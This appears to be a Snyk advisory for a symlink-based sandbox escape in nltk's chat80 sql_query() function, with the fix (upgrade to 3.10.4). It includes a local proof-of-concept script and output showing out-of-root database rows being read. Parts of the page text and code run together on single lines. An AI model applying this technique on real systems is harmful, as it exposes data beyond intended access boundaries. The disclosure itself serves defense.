Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Symlink Attack via nltk.sem.chat80.sql_query(), which passes the result of nltk.data.find(dbname) directly to sqlite3.connect() without invoking the pathsec containment check. nltk.data.find() applies only lexical checks to the resource name and returns a FileSystemPathPointer whose path is normalized with os.path.abspath but never resolved for symlinks. An attacker who can place a symbolic link inside a directory registered as an NLTK data root can point it at a SQLite database outside every registered root, and when sql_query() is called for that resource name, SQLite follows the link and returns rows from the out-of-sandbox database, escaping the pathsec confidentiality boundary.
Requires the published nltk 3.10.3 wheel and a writable directory registered as an NLTK data root. No network access is needed.
corpora/city_database/city.db pointing at the outside database.sql_query() for the in-root resource name.import os, tempfile, sqlite3, nltk, nltk.data from nltk.sem import chat80work = tempfile.mkdtemp() root = os.path.join(work, "nltk_data") corp = os.path.join(root, "corpora", "city_database") os.makedirs(corp)
secret = os.path.join(work, "outside", "secret.db") os.makedirs(os.path.dirname(secret)) con = sqlite3.connect(secret) con.execute("CREATE TABLE t (x text)") con.execute("INSERT INTO t VALUES ('OUT-OF-SANDBOX-SECRET')") con.commit(); con.close()
os.symlink(secret, os.path.join(corp, "city.db")) nltk.data.path.insert(0, root)
ptr = nltk.data.find("corpora/city_database/city.db") try: ptr.open().read() # pathsec route: blocked except Exception as e: print("open() blocked:", type(e).name)
cur = chat80.sql_query("corpora/city_database/city.db", "SELECT * FROM t") print("sql_query rows:", cur.fetchall()) # sink route: follows the symlink
open() blocked: PermissionError
sql_query rows: [('OUT-OF-SANDBOX-SECRET',)]
Note: Requires the published nltk 3.10.3 wheel and a writable directory registered as an NLTK data root; no network access is needed.